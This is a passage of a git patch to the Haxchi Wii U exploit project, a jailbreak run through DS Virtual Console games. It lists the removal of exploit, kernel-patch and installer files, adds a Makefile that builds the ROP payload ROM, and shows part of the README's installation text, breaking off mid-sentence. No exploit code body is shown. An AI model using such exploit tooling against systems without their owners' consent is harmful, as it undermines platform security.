From d765d2530c53c1e7c0a97d62500864a91f76c192 Mon Sep 17 00:00:00 2001 From: orboditilt <45944072+orboditilt@users.noreply.github.com> Date: Thu, 24 Jan 2019 13:40:18 +0100 Subject: [PATCH] Remove everything to again have a simple and clean PoC with brainage. --- .gitignore | 4 + Build.bat | 20 - Build_CBHC.bat | 20 - Makefile | 36 + README.md | 16 +- dsrom/brainage_defs.s => brainage_defs.s | 0 build.sh | 14 - build_cbhc.sh | 13 - dsrom/coreinit.s => coreinit.s | 0 dsrom/Makefile | 276 ---- dsrom/animalcrossing_defs.s | 39 - dsrom/cbhc_menu/Makefile | 32 - dsrom/cbhc_menu/coreinit.h | 31 - dsrom/cbhc_menu/crt0.S | 9 - dsrom/cbhc_menu/main.c | 626 -------- dsrom/cbhc_menu/pad.h | 127 -- dsrom/cbhc_menu/types.h | 20 - dsrom/dkjclimber_defs.s | 39 - dsrom/global.h | 12 - dsrom/guardiansigns_defs.s | 39 - dsrom/haxchi_cb.s | 40 - dsrom/haxchi_rop_cb.s | 281 ---- dsrom/hbl_loader/common.h | 45 - dsrom/hbl_loader/coreinit.h | 31 - dsrom/hbl_loader/elf_abi.h | 591 -------- dsrom/hbl_loader/fs_defs.h | 60 - dsrom/hbl_loader/kernel_patches.S | 282 ---- dsrom/hbl_loader/kexploit.c | 245 --- dsrom/hbl_loader/kexploit.h | 51 - dsrom/hbl_loader/launcher.c | 398 ----- dsrom/hbl_loader/logger.c | 74 - dsrom/hbl_loader/logger.h | 86 -- dsrom/hbl_loader/os_defs.h | 40 - dsrom/hbl_loader/sd_loader/Makefile | 178 --- dsrom/hbl_loader/sd_loader/include/stdint.h | 15 - dsrom/hbl_loader/sd_loader/src/crt0.S | 20 - dsrom/hbl_loader/sd_loader/src/elf_abi.h | 591 -------- dsrom/hbl_loader/sd_loader/src/entry.c | 666 --------- dsrom/hbl_loader/sd_loader/src/kernel_defs.h | 75 - dsrom/hbl_loader/sd_loader/src/kernel_hooks.S | 69 - dsrom/hbl_loader/sd_loader/src/link.ld | 23 - dsrom/hbl_loader/sd_loader/src/loader_defs.h | 38 - dsrom/hbl_loader/structs.h | 32 - dsrom/hbl_loader/types.h | 22 - dsrom/iosu_patcher/Makefile | 63 - dsrom/iosu_patcher/arm_kernel/Makefile | 71 - dsrom/iosu_patcher/arm_kernel/link.ld | 20 - dsrom/iosu_patcher/arm_kernel/source/crt0.s | 9 - .../iosu_patcher/arm_kernel/source/elf_abi.h | 591 -------- .../arm_kernel/source/elf_patcher.c | 110 -- .../arm_kernel/source/elf_patcher.h | 62 - .../iosu_patcher/arm_kernel/source/getbins.c | 36 - .../iosu_patcher/arm_kernel/source/getbins.h | 18 - dsrom/iosu_patcher/arm_kernel/source/main.c | 224 --- dsrom/iosu_patcher/arm_kernel/source/mmu.s | 18 - dsrom/iosu_patcher/arm_kernel/source/reload.c | 113 -- dsrom/iosu_patcher/arm_kernel/source/reload.h | 7 - dsrom/iosu_patcher/arm_kernel/source/types.h | 16 - dsrom/iosu_patcher/arm_kernel/source/utils.c | 92 -- dsrom/iosu_patcher/arm_kernel/source/utils.h | 48 - dsrom/iosu_patcher/arm_user/Makefile | 71 - dsrom/iosu_patcher/arm_user/link.ld | 18 - dsrom/iosu_patcher/arm_user/source/crt0.s | 20 - dsrom/iosu_patcher/arm_user/source/main.c | 30 - dsrom/iosu_patcher/arm_user/source/types.h | 16 - dsrom/iosu_patcher/arm_user/source/utils.c | 25 - dsrom/iosu_patcher/arm_user/source/utils.h | 7 - dsrom/iosu_patcher/coreinit.h | 31 - dsrom/iosu_patcher/crt0.S | 6 - dsrom/iosu_patcher/main.c | 388 ----- dsrom/iosu_patcher/titleprot/Makefile | 76 - dsrom/iosu_patcher/titleprot/ccd00.ld | 16 - dsrom/iosu_patcher/titleprot/ccd00.specs | 4 - dsrom/iosu_patcher/titleprot/source/crt0.s | 23 - dsrom/iosu_patcher/titleprot2/Makefile | 76 - dsrom/iosu_patcher/titleprot2/ccd00.ld | 16 - dsrom/iosu_patcher/titleprot2/ccd00.specs | 4 - dsrom/iosu_patcher/titleprot2/source/crt0.s | 24 - dsrom/iosu_patcher/types.h | 20 - dsrom/kirby_defs.s | 39 - dsrom/kirbymassattack_defs.s | 39 - dsrom/mariokartds_defs.s | 39 - dsrom/masterofdisguise_defs.s | 39 - dsrom/newsmb_eur_defs.s | 39 - dsrom/option_select/Makefile | 32 - dsrom/option_select/coreinit.h | 31 - dsrom/option_select/crt0.S | 9 - dsrom/option_select/main.c | 294 ---- dsrom/option_select/types.h | 20 - dsrom/partnersintime_defs.s | 39 - dsrom/pokemonranger_defs.s | 39 - dsrom/sfcommand_defs.s | 39 - dsrom/sm64ds_defs.s | 39 - dsrom/vwii_loader/Makefile | 46 - dsrom/vwii_loader/README | 3 - dsrom/vwii_loader/common.h | 45 - dsrom/vwii_loader/coreinit.h | 31 - dsrom/vwii_loader/crt0.S | 7 - dsrom/vwii_loader/elf_abi.h | 591 -------- dsrom/vwii_loader/fs_defs.h | 60 - dsrom/vwii_loader/kernel_patches.S | 282 ---- dsrom/vwii_loader/kexploit.c | 245 --- dsrom/vwii_loader/kexploit.h | 51 - dsrom/vwii_loader/launcher.c | 398 ----- dsrom/vwii_loader/logger.c | 74 - dsrom/vwii_loader/logger.h | 86 -- dsrom/vwii_loader/os_defs.h | 40 - dsrom/vwii_loader/sd_loader/Makefile | 178 --- dsrom/vwii_loader/sd_loader/include/stdint.h | 15 - dsrom/vwii_loader/sd_loader/src/crt0.S | 20 - dsrom/vwii_loader/sd_loader/src/elf_abi.h | 591 -------- dsrom/vwii_loader/sd_loader/src/entry.c | 388 ----- dsrom/vwii_loader/sd_loader/src/kernel_defs.h | 75 - .../vwii_loader/sd_loader/src/kernel_hooks.S | 69 - dsrom/vwii_loader/sd_loader/src/link.ld | 23 - dsrom/vwii_loader/sd_loader/src/loader_defs.h | 38 - dsrom/vwii_loader/structs.h | 32 - dsrom/vwii_loader/types.h | 22 - dsrom/yoshids_defs.s | 39 - dsrom/zeldaph_defs.s | 39 - dsrom/zeldast_defs.s | 39 - dsrom/zip/LICENSE | 60 - dsrom/zip/zip.exe | Bin 290816 -> 0 bytes dsrom/haxchi.s => haxchi.s | 0 dsrom/haxchi_rop.s => haxchi_rop.s | 14 +- hbl_loader/.gitignore | 4 + {dsrom/hbl_loader => hbl_loader}/Makefile | 21 +- {dsrom/hbl_loader => hbl_loader}/README | 0 hbl_loader/common.h | 22 + {dsrom/hbl_loader => hbl_loader}/crt0.S | 0 hbl_loader/launcher.c | 5 + installer/Makefile | 244 --- installer/arm_kernel/Makefile | 72 - installer/arm_kernel/link.ld | 18 - installer/arm_kernel/source/crt0.s | 9 - installer/arm_kernel/source/main.c | 106 -- installer/arm_kernel/source/mmu.s | 18 - installer/arm_kernel/source/types.h | 16 - installer/arm_user/Makefile | 72 - installer/arm_user/link.ld | 18 - installer/arm_user/source/crt0.s | 20 - installer/arm_user/source/main.c | 30 - installer/arm_user/source/types.h | 16 - installer/arm_user/source/utils.c | 25 - installer/arm_user/source/utils.h | 7 - installer/include/stdint.h | 15 - installer/libxml2/README.md | 2 - installer/libxml2/include/libxml/DOCBparser.h | 96 -- installer/libxml2/include/libxml/HTMLparser.h | 306 ---- installer/libxml2/include/libxml/HTMLtree.h | 147 -- installer/libxml2/include/libxml/SAX.h | 173 --- installer/libxml2/include/libxml/SAX2.h | 178 --- installer/libxml2/include/libxml/c14n.h | 126 -- installer/libxml2/include/libxml/catalog.h | 182 --- installer/libxml2/include/libxml/chvalid.h | 230 --- installer/libxml2/include/libxml/debugXML.h | 217 --- installer/libxml2/include/libxml/dict.h | 86 -- installer/libxml2/include/libxml/encoding.h | 240 --- installer/libxml2/include/libxml/entities.h | 151 -- installer/libxml2/include/libxml/globals.h | 509 ------- installer/libxml2/include/libxml/hash.h | 233 --- installer/libxml2/include/libxml/list.h | 137 -- installer/libxml2/include/libxml/nanoftp.h | 163 -- installer/libxml2/include/libxml/nanohttp.h | 81 - installer/libxml2/include/libxml/parser.h | 1241 ---------------- .../libxml2/include/libxml/parserInternals.h | 644 -------- installer/libxml2/include/libxml/pattern.h | 100 -- installer/libxml2/include/libxml/relaxng.h | 217 --- .../libxml2/include/libxml/schemasInternals.h | 958 ------------ installer/libxml2/include/libxml/schematron.h | 142 -- installer/libxml2/include/libxml/threads.h | 84 -- installer/libxml2/include/libxml/tree.h | 1311 ----------------- installer/libxml2/include/libxml/uri.h | 94 -- installer/libxml2/include/libxml/valid.h | 458 ------ installer/libxml2/include/libxml/xinclude.h | 129 -- installer/libxml2/include/libxml/xlink.h | 189 --- installer/libxml2/include/libxml/xmlIO.h | 366 ----- .../libxml2/include/libxml/xmlautomata.h | 146 -- installer/libxml2/include/libxml/xmlerror.h | 945 ------------ installer/libxml2/include/libxml/xmlexports.h | 162 -- installer/libxml2/include/libxml/xmlmemory.h | 224 --- installer/libxml2/include/libxml/xmlmodule.h | 57 - installer/libxml2/include/libxml/xmlreader.h | 428 ------ installer/libxml2/include/libxml/xmlregexp.h | 222 --- installer/libxml2/include/libxml/xmlsave.h | 88 -- installer/libxml2/include/libxml/xmlschemas.h | 246 ---- .../libxml2/include/libxml/xmlschemastypes.h | 151 -- installer/libxml2/include/libxml/xmlstring.h | 140 -- installer/libxml2/include/libxml/xmlunicode.h | 202 --- installer/libxml2/include/libxml/xmlversion.h | 489 ------ installer/libxml2/include/libxml/xmlwriter.h | 488 ------ installer/libxml2/include/libxml/xpath.h | 557 ------- .../libxml2/include/libxml/xpathInternals.h | 632 -------- installer/libxml2/include/libxml/xpointer.h | 114 -- installer/libxml2/lib/libxml2.a | Bin 2715444 -> 0 bytes installer/src/common/common.h | 36 - installer/src/common/fs_defs.h | 62 - installer/src/common/os_defs.h | 25 - installer/src/common/types.h | 7 - installer/src/dynamic_libs/.gitattributes | 17 - installer/src/dynamic_libs/.gitignore | 47 - installer/src/dynamic_libs/README.md | 2 - installer/src/dynamic_libs/acp_functions.c | 40 - installer/src/dynamic_libs/acp_functions.h | 42 - installer/src/dynamic_libs/aoc_functions.c | 58 - installer/src/dynamic_libs/aoc_functions.h | 58 - installer/src/dynamic_libs/ax_functions.c | 118 -- installer/src/dynamic_libs/ax_functions.h | 64 - installer/src/dynamic_libs/fs_defs.h | 61 - installer/src/dynamic_libs/fs_functions.c | 131 -- installer/src/dynamic_libs/fs_functions.h | 95 -- installer/src/dynamic_libs/gx2_functions.c | 173 --- installer/src/dynamic_libs/gx2_functions.h | 211 --- installer/src/dynamic_libs/gx2_types.h | 699 --------- installer/src/dynamic_libs/os_functions.c | 344 ----- installer/src/dynamic_libs/os_functions.h | 182 --- installer/src/dynamic_libs/os_types.h | 27 - .../src/dynamic_libs/padscore_functions.c | 61 - .../src/dynamic_libs/padscore_functions.h | 171 --- installer/src/dynamic_libs/socket_functions.c | 81 - installer/src/dynamic_libs/socket_functions.h | 108 -- installer/src/dynamic_libs/sys_functions.c | 51 - installer/src/dynamic_libs/sys_functions.h | 48 - installer/src/dynamic_libs/syshid_functions.c | 78 - installer/src/dynamic_libs/syshid_functions.h | 90 -- installer/src/dynamic_libs/vpad_functions.c | 55 - installer/src/dynamic_libs/vpad_functions.h | 114 -- installer/src/entry.c | 13 - installer/src/exploit.c | 349 ----- installer/src/exploit.h | 9 - installer/src/gameList.h | 106 -- installer/src/link.ld | 40 - installer/src/main.c | 871 ----------- installer/src/main.h | 20 - installer/src/system/memory.c | 198 --- installer/src/system/memory.h | 42 - installer/src/zipList.h | 29 - release/cbhc/bootDrcTex.tga | Bin 1229804 -> 0 bytes release/cbhc/bootTvTex.tga | Bin 2764844 -> 0 bytes release/cbhc/iconTex.tga | Bin 65580 -> 0 bytes release/cbhc/title.txt | 1 - release/haxchi/bootDrcTex.tga | Bin 1229804 -> 0 bytes release/haxchi/bootTvTex.tga | Bin 2764844 -> 0 bytes release/haxchi/config.txt | 3 - release/haxchi/iconTex.tga | Bin 65580 -> 0 bytes release/haxchi/title.txt | 1 - release/wiiu/apps/cbhc/icon.png | Bin 5003 -> 0 bytes release/wiiu/apps/cbhc/meta.xml | 12 - release/wiiu/apps/haxchi/icon.png | Bin 20350 -> 0 bytes release/wiiu/apps/haxchi/meta.xml | 11 - wupserver/Makefile | 76 - wupserver/ccd00.ld | 22 - wupserver/ccd00.specs | 4 - wupserver/libgcc.a | Bin 1457490 -> 0 bytes wupserver/source/crt0.s | 17 - wupserver/source/fsa.c | 451 ------ wupserver/source/fsa.h | 60 - wupserver/source/imports.c | 50 - wupserver/source/imports.h | 12 - wupserver/source/ipc.c | 496 ------- wupserver/source/ipc.h | 6 - wupserver/source/ipc_types.h | 83 -- wupserver/source/svc.h | 31 - wupserver/source/svc.s | 99 -- wupserver/source/types.h | 29 - 265 files changed, 78 insertions(+), 33671 deletions(-) create mode 100644 .gitignore delete mode 100644 Build.bat delete mode 100644 Build_CBHC.bat create mode 100644 Makefile rename dsrom/brainage_defs.s => brainage_defs.s (100%) delete mode 100644 build.sh delete mode 100644 build_cbhc.sh rename dsrom/coreinit.s => coreinit.s (100%) delete mode 100644 dsrom/Makefile delete mode 100644 dsrom/animalcrossing_defs.s delete mode 100644 dsrom/cbhc_menu/Makefile delete mode 100644 dsrom/cbhc_menu/coreinit.h delete mode 100644 dsrom/cbhc_menu/crt0.S delete mode 100644 dsrom/cbhc_menu/main.c delete mode 100644 dsrom/cbhc_menu/pad.h delete mode 100644 dsrom/cbhc_menu/types.h delete mode 100644 dsrom/dkjclimber_defs.s delete mode 100644 dsrom/global.h delete mode 100644 dsrom/guardiansigns_defs.s delete mode 100644 dsrom/haxchi_cb.s delete mode 100644 dsrom/haxchi_rop_cb.s delete mode 100644 dsrom/hbl_loader/common.h delete mode 100644 dsrom/hbl_loader/coreinit.h delete mode 100644 dsrom/hbl_loader/elf_abi.h delete mode 100644 dsrom/hbl_loader/fs_defs.h delete mode 100644 dsrom/hbl_loader/kernel_patches.S delete mode 100644 dsrom/hbl_loader/kexploit.c delete mode 100644 dsrom/hbl_loader/kexploit.h delete mode 100644 dsrom/hbl_loader/launcher.c delete mode 100644 dsrom/hbl_loader/logger.c delete mode 100644 dsrom/hbl_loader/logger.h delete mode 100644 dsrom/hbl_loader/os_defs.h delete mode 100644 dsrom/hbl_loader/sd_loader/Makefile delete mode 100644 dsrom/hbl_loader/sd_loader/include/stdint.h delete mode 100644 dsrom/hbl_loader/sd_loader/src/crt0.S delete mode 100644 dsrom/hbl_loader/sd_loader/src/elf_abi.h delete mode 100644 dsrom/hbl_loader/sd_loader/src/entry.c delete mode 100644 dsrom/hbl_loader/sd_loader/src/kernel_defs.h delete mode 100644 dsrom/hbl_loader/sd_loader/src/kernel_hooks.S delete mode 100644 dsrom/hbl_loader/sd_loader/src/link.ld delete mode 100644 dsrom/hbl_loader/sd_loader/src/loader_defs.h delete mode 100644 dsrom/hbl_loader/structs.h delete mode 100644 dsrom/hbl_loader/types.h delete mode 100644 dsrom/iosu_patcher/Makefile delete mode 100644 dsrom/iosu_patcher/arm_kernel/Makefile delete mode 100644 dsrom/iosu_patcher/arm_kernel/link.ld delete mode 100644 dsrom/iosu_patcher/arm_kernel/source/crt0.s delete mode 100644 dsrom/iosu_patcher/arm_kernel/source/elf_abi.h delete mode 100644 dsrom/iosu_patcher/arm_kernel/source/elf_patcher.c delete mode 100644 dsrom/iosu_patcher/arm_kernel/source/elf_patcher.h delete mode 100644 dsrom/iosu_patcher/arm_kernel/source/getbins.c delete mode 100644 dsrom/iosu_patcher/arm_kernel/source/getbins.h delete mode 100644 dsrom/iosu_patcher/arm_kernel/source/main.c delete mode 100644 dsrom/iosu_patcher/arm_kernel/source/mmu.s delete mode 100644 dsrom/iosu_patcher/arm_kernel/source/reload.c delete mode 100644 dsrom/iosu_patcher/arm_kernel/source/reload.h delete mode 100644 dsrom/iosu_patcher/arm_kernel/source/types.h delete mode 100644 dsrom/iosu_patcher/arm_kernel/source/utils.c delete mode 100644 dsrom/iosu_patcher/arm_kernel/source/utils.h delete mode 100644 dsrom/iosu_patcher/arm_user/Makefile delete mode 100644 dsrom/iosu_patcher/arm_user/link.ld delete mode 100644 dsrom/iosu_patcher/arm_user/source/crt0.s delete mode 100644 dsrom/iosu_patcher/arm_user/source/main.c delete mode 100644 dsrom/iosu_patcher/arm_user/source/types.h delete mode 100644 dsrom/iosu_patcher/arm_user/source/utils.c delete mode 100644 dsrom/iosu_patcher/arm_user/source/utils.h delete mode 100644 dsrom/iosu_patcher/coreinit.h delete mode 100644 dsrom/iosu_patcher/crt0.S delete mode 100644 dsrom/iosu_patcher/main.c delete mode 100644 dsrom/iosu_patcher/titleprot/Makefile delete mode 100644 dsrom/iosu_patcher/titleprot/ccd00.ld delete mode 100644 dsrom/iosu_patcher/titleprot/ccd00.specs delete mode 100644 dsrom/iosu_patcher/titleprot/source/crt0.s delete mode 100644 dsrom/iosu_patcher/titleprot2/Makefile delete mode 100644 dsrom/iosu_patcher/titleprot2/ccd00.ld delete mode 100644 dsrom/iosu_patcher/titleprot2/ccd00.specs delete mode 100644 dsrom/iosu_patcher/titleprot2/source/crt0.s delete mode 100644 dsrom/iosu_patcher/types.h delete mode 100644 dsrom/kirby_defs.s delete mode 100644 dsrom/kirbymassattack_defs.s delete mode 100644 dsrom/mariokartds_defs.s delete mode 100644 dsrom/masterofdisguise_defs.s delete mode 100644 dsrom/newsmb_eur_defs.s delete mode 100644 dsrom/option_select/Makefile delete mode 100644 dsrom/option_select/coreinit.h delete mode 100644 dsrom/option_select/crt0.S delete mode 100644 dsrom/option_select/main.c delete mode 100644 dsrom/option_select/types.h delete mode 100644 dsrom/partnersintime_defs.s delete mode 100644 dsrom/pokemonranger_defs.s delete mode 100644 dsrom/sfcommand_defs.s delete mode 100644 dsrom/sm64ds_defs.s delete mode 100644 dsrom/vwii_loader/Makefile delete mode 100644 dsrom/vwii_loader/README delete mode 100644 dsrom/vwii_loader/common.h delete mode 100644 dsrom/vwii_loader/coreinit.h delete mode 100644 dsrom/vwii_loader/crt0.S delete mode 100644 dsrom/vwii_loader/elf_abi.h delete mode 100644 dsrom/vwii_loader/fs_defs.h delete mode 100644 dsrom/vwii_loader/kernel_patches.S delete mode 100644 dsrom/vwii_loader/kexploit.c delete mode 100644 dsrom/vwii_loader/kexploit.h delete mode 100644 dsrom/vwii_loader/launcher.c delete mode 100644 dsrom/vwii_loader/logger.c delete mode 100644 dsrom/vwii_loader/logger.h delete mode 100644 dsrom/vwii_loader/os_defs.h delete mode 100644 dsrom/vwii_loader/sd_loader/Makefile delete mode 100644 dsrom/vwii_loader/sd_loader/include/stdint.h delete mode 100644 dsrom/vwii_loader/sd_loader/src/crt0.S delete mode 100644 dsrom/vwii_loader/sd_loader/src/elf_abi.h delete mode 100644 dsrom/vwii_loader/sd_loader/src/entry.c delete mode 100644 dsrom/vwii_loader/sd_loader/src/kernel_defs.h delete mode 100644 dsrom/vwii_loader/sd_loader/src/kernel_hooks.S delete mode 100644 dsrom/vwii_loader/sd_loader/src/link.ld delete mode 100644 dsrom/vwii_loader/sd_loader/src/loader_defs.h delete mode 100644 dsrom/vwii_loader/structs.h delete mode 100644 dsrom/vwii_loader/types.h delete mode 100644 dsrom/yoshids_defs.s delete mode 100644 dsrom/zeldaph_defs.s delete mode 100644 dsrom/zeldast_defs.s delete mode 100644 dsrom/zip/LICENSE delete mode 100644 dsrom/zip/zip.exe rename dsrom/haxchi.s => haxchi.s (100%) rename dsrom/haxchi_rop.s => haxchi_rop.s (95%) create mode 100644 hbl_loader/.gitignore rename {dsrom/hbl_loader => hbl_loader}/Makefile (57%) rename {dsrom/hbl_loader => hbl_loader}/README (100%) create mode 100644 hbl_loader/common.h rename {dsrom/hbl_loader => hbl_loader}/crt0.S (100%) create mode 100644 hbl_loader/launcher.c delete mode 100644 installer/Makefile delete mode 100644 installer/arm_kernel/Makefile delete mode 100644 installer/arm_kernel/link.ld delete mode 100644 installer/arm_kernel/source/crt0.s delete mode 100644 installer/arm_kernel/source/main.c delete mode 100644 installer/arm_kernel/source/mmu.s delete mode 100644 installer/arm_kernel/source/types.h delete mode 100644 installer/arm_user/Makefile delete mode 100644 installer/arm_user/link.ld delete mode 100644 installer/arm_user/source/crt0.s delete mode 100644 installer/arm_user/source/main.c delete mode 100644 installer/arm_user/source/types.h delete mode 100644 installer/arm_user/source/utils.c delete mode 100644 installer/arm_user/source/utils.h delete mode 100644 installer/include/stdint.h delete mode 100644 installer/libxml2/README.md delete mode 100644 installer/libxml2/include/libxml/DOCBparser.h delete mode 100644 installer/libxml2/include/libxml/HTMLparser.h delete mode 100644 installer/libxml2/include/libxml/HTMLtree.h delete mode 100644 installer/libxml2/include/libxml/SAX.h delete mode 100644 installer/libxml2/include/libxml/SAX2.h delete mode 100644 installer/libxml2/include/libxml/c14n.h delete mode 100644 installer/libxml2/include/libxml/catalog.h delete mode 100644 installer/libxml2/include/libxml/chvalid.h delete mode 100644 installer/libxml2/include/libxml/debugXML.h delete mode 100644 installer/libxml2/include/libxml/dict.h delete mode 100644 installer/libxml2/include/libxml/encoding.h delete mode 100644 installer/libxml2/include/libxml/entities.h delete mode 100644 installer/libxml2/include/libxml/globals.h delete mode 100644 installer/libxml2/include/libxml/hash.h delete mode 100644 installer/libxml2/include/libxml/list.h delete mode 100644 installer/libxml2/include/libxml/nanoftp.h delete mode 100644 installer/libxml2/include/libxml/nanohttp.h delete mode 100644 installer/libxml2/include/libxml/parser.h delete mode 100644 installer/libxml2/include/libxml/parserInternals.h delete mode 100644 installer/libxml2/include/libxml/pattern.h delete mode 100644 installer/libxml2/include/libxml/relaxng.h delete mode 100644 installer/libxml2/include/libxml/schemasInternals.h delete mode 100644 installer/libxml2/include/libxml/schematron.h delete mode 100644 installer/libxml2/include/libxml/threads.h delete mode 100644 installer/libxml2/include/libxml/tree.h delete mode 100644 installer/libxml2/include/libxml/uri.h delete mode 100644 installer/libxml2/include/libxml/valid.h delete mode 100644 installer/libxml2/include/libxml/xinclude.h delete mode 100644 installer/libxml2/include/libxml/xlink.h delete mode 100644 installer/libxml2/include/libxml/xmlIO.h delete mode 100644 installer/libxml2/include/libxml/xmlautomata.h delete mode 100644 installer/libxml2/include/libxml/xmlerror.h delete mode 100644 installer/libxml2/include/libxml/xmlexports.h delete mode 100644 installer/libxml2/include/libxml/xmlmemory.h delete mode 100644 installer/libxml2/include/libxml/xmlmodule.h delete mode 100644 installer/libxml2/include/libxml/xmlreader.h delete mode 100644 installer/libxml2/include/libxml/xmlregexp.h delete mode 100644 installer/libxml2/include/libxml/xmlsave.h delete mode 100644 installer/libxml2/include/libxml/xmlschemas.h delete mode 100644 installer/libxml2/include/libxml/xmlschemastypes.h delete mode 100644 installer/libxml2/include/libxml/xmlstring.h delete mode 100644 installer/libxml2/include/libxml/xmlunicode.h delete mode 100644 installer/libxml2/include/libxml/xmlversion.h delete mode 100644 installer/libxml2/include/libxml/xmlwriter.h delete mode 100644 installer/libxml2/include/libxml/xpath.h delete mode 100644 installer/libxml2/include/libxml/xpathInternals.h delete mode 100644 installer/libxml2/include/libxml/xpointer.h delete mode 100644 installer/libxml2/lib/libxml2.a delete mode 100644 installer/src/common/common.h delete mode 100644 installer/src/common/fs_defs.h delete mode 100644 installer/src/common/os_defs.h delete mode 100644 installer/src/common/types.h delete mode 100644 installer/src/dynamic_libs/.gitattributes delete mode 100644 installer/src/dynamic_libs/.gitignore delete mode 100644 installer/src/dynamic_libs/README.md delete mode 100644 installer/src/dynamic_libs/acp_functions.c delete mode 100644 installer/src/dynamic_libs/acp_functions.h delete mode 100644 installer/src/dynamic_libs/aoc_functions.c delete mode 100644 installer/src/dynamic_libs/aoc_functions.h delete mode 100644 installer/src/dynamic_libs/ax_functions.c delete mode 100644 installer/src/dynamic_libs/ax_functions.h delete mode 100644 installer/src/dynamic_libs/fs_defs.h delete mode 100644 installer/src/dynamic_libs/fs_functions.c delete mode 100644 installer/src/dynamic_libs/fs_functions.h delete mode 100644 installer/src/dynamic_libs/gx2_functions.c delete mode 100644 installer/src/dynamic_libs/gx2_functions.h delete mode 100644 installer/src/dynamic_libs/gx2_types.h delete mode 100644 installer/src/dynamic_libs/os_functions.c delete mode 100644 installer/src/dynamic_libs/os_functions.h delete mode 100644 installer/src/dynamic_libs/os_types.h delete mode 100644 installer/src/dynamic_libs/padscore_functions.c delete mode 100644 installer/src/dynamic_libs/padscore_functions.h delete mode 100644 installer/src/dynamic_libs/socket_functions.c delete mode 100644 installer/src/dynamic_libs/socket_functions.h delete mode 100644 installer/src/dynamic_libs/sys_functions.c delete mode 100644 installer/src/dynamic_libs/sys_functions.h delete mode 100644 installer/src/dynamic_libs/syshid_functions.c delete mode 100644 installer/src/dynamic_libs/syshid_functions.h delete mode 100644 installer/src/dynamic_libs/vpad_functions.c delete mode 100644 installer/src/dynamic_libs/vpad_functions.h delete mode 100644 installer/src/entry.c delete mode 100644 installer/src/exploit.c delete mode 100644 installer/src/exploit.h delete mode 100644 installer/src/gameList.h delete mode 100644 installer/src/link.ld delete mode 100644 installer/src/main.c delete mode 100644 installer/src/main.h delete mode 100644 installer/src/system/memory.c delete mode 100644 installer/src/system/memory.h delete mode 100644 installer/src/zipList.h delete mode 100644 release/cbhc/bootDrcTex.tga delete mode 100644 release/cbhc/bootTvTex.tga delete mode 100644 release/cbhc/iconTex.tga delete mode 100644 release/cbhc/title.txt delete mode 100644 release/haxchi/bootDrcTex.tga delete mode 100644 release/haxchi/bootTvTex.tga delete mode 100644 release/haxchi/config.txt delete mode 100644 release/haxchi/iconTex.tga delete mode 100644 release/haxchi/title.txt delete mode 100644 release/wiiu/apps/cbhc/icon.png delete mode 100644 release/wiiu/apps/cbhc/meta.xml delete mode 100644 release/wiiu/apps/haxchi/icon.png delete mode 100644 release/wiiu/apps/haxchi/meta.xml delete mode 100644 wupserver/Makefile delete mode 100644 wupserver/ccd00.ld delete mode 100644 wupserver/ccd00.specs delete mode 100644 wupserver/libgcc.a delete mode 100644 wupserver/source/crt0.s delete mode 100644 wupserver/source/fsa.c delete mode 100644 wupserver/source/fsa.h delete mode 100644 wupserver/source/imports.c delete mode 100644 wupserver/source/imports.h delete mode 100644 wupserver/source/ipc.c delete mode 100644 wupserver/source/ipc.h delete mode 100644 wupserver/source/ipc_types.h delete mode 100644 wupserver/source/svc.h delete mode 100644 wupserver/source/svc.s delete mode 100644 wupserver/source/types.h diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..e49a4c7 --- /dev/null +++ b/.gitignore @@ -0,0 +1,4 @@ +*.nds +*.zip +*.bin +defines.s diff --git a/Build.bat b/Build.bat deleted file mode 100644 index a0637de..0000000 --- a/Build.bat +++ /dev/null @@ -1,20 +0,0 @@ -@echo off - -cd installer -mkdir data 2>/nul -cd ../dsrom -echo. -echo Building DS ROMs -echo. -make clean -make Windows_NT=1 - -cd ../installer -echo. -echo Building WiiU Installer -echo. -make clean -make - -echo. -pause diff --git a/Build_CBHC.bat b/Build_CBHC.bat deleted file mode 100644 index c5dd8e6..0000000 --- a/Build_CBHC.bat +++ /dev/null @@ -1,20 +0,0 @@ -@echo off - -cd installer -mkdir data 2>/nul -cd ../dsrom -echo. -echo Building DS ROMs -echo. -make clean -make Windows_NT=1 CB=1 - -cd ../installer -echo. -echo Building WiiU Installer -echo. -make clean -make CB=1 - -echo. -pause diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..3f953fd --- /dev/null +++ b/Makefile @@ -0,0 +1,36 @@ +.PHONY := all code550.bin + +ifeq ($(Windows_NT), 1) + ZIP = zip/zip.exe +else + ZIP = zip +endif + +HAXCHI_S = haxchi.s +ROP_S = haxchi_rop.s +ROP_BIN = haxchi_rop.bin + + +all: setup brainage rom.zip + +brainage: setup_brainage brainage.nds + +setup: + @cd hbl_loader && make && cd .. + +setup_brainage: + @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin + @cp -f brainage_defs.s defines.s + +brainage.nds: + @armips $(ROP_S) + @armips $(HAXCHI_S) + @mv rom.nds brainage.nds + +rom.zip: + $(ZIP) -JXjq9 rom.zip brainage.nds + +clean: + @rm -f *.bin *.zip *.nds defines.s + @cd hbl_loader && make clean && cd .. + @echo "all cleaned up !" diff --git a/README.md b/README.md index 570a5a7..73f095a 100644 --- a/README.md +++ b/README.md @@ -1,22 +1,10 @@ # Haxchi -This is the continuation of the POC Haxchi exploit by smea. -It features compatibility with a lot of DS VC and can be easly installed and further configured. - -## Installation - -If you happen to have a DS VC title [that is listed in this file](installer/src/gameList.h#L14-L102) then go ahead and grab the current Haxchi .zip file from the "releases" tab, make sure to NOT click on "source code" instead of the current .zip. -Just extract the contents of it onto your sd card. The "haxchi" folder right now just consists of a simple replacement icon, logo and replacing the game title with "Haxchi", its example config.txt will boot homebrew launcher by default and a fw.img on your sd card when holding A. For a full list of all compatible buttons that you can use for the config.txt go [here](dsrom/option_select/main.c#L57-L75). -The content of this haxchi folder can be changed to your liking - if you want to you can also add in an alternative bootSound.btsnd to replace the original startup sound which I did not do in this example haxchi folder. -After setting up the content to your liking all you have to do is run the Haxchi Installer in homebrew launcher, select the game you want to install it on and that is it! If you ever want to make changes to the content folder it installed to then just re-run the Haxchi Installer and install it again, you dont have to reinstall the game beforehand, it'll just overwrite the previous haxchi installation with your new data. -Please note, this will ONLY WORK WITH DS VC GAMES ON NAND, if you have a ds vc game on USB you want to use then please move it to your NAND first and ideally detach your usb device before using this installer .elf, if you dont remove your usb devices it may freeze up on exiting or not install properly. -This also ONLY LOADS THE .ELF VERSION OF THE HOMBEBREW LAUNCHER which as of right now is v1.4 so make sure to keep that on your sd card or you will just get error -5 when starting your haxchi channel. Once you are in the homebrew launcher it is also perfectly compatible with loading 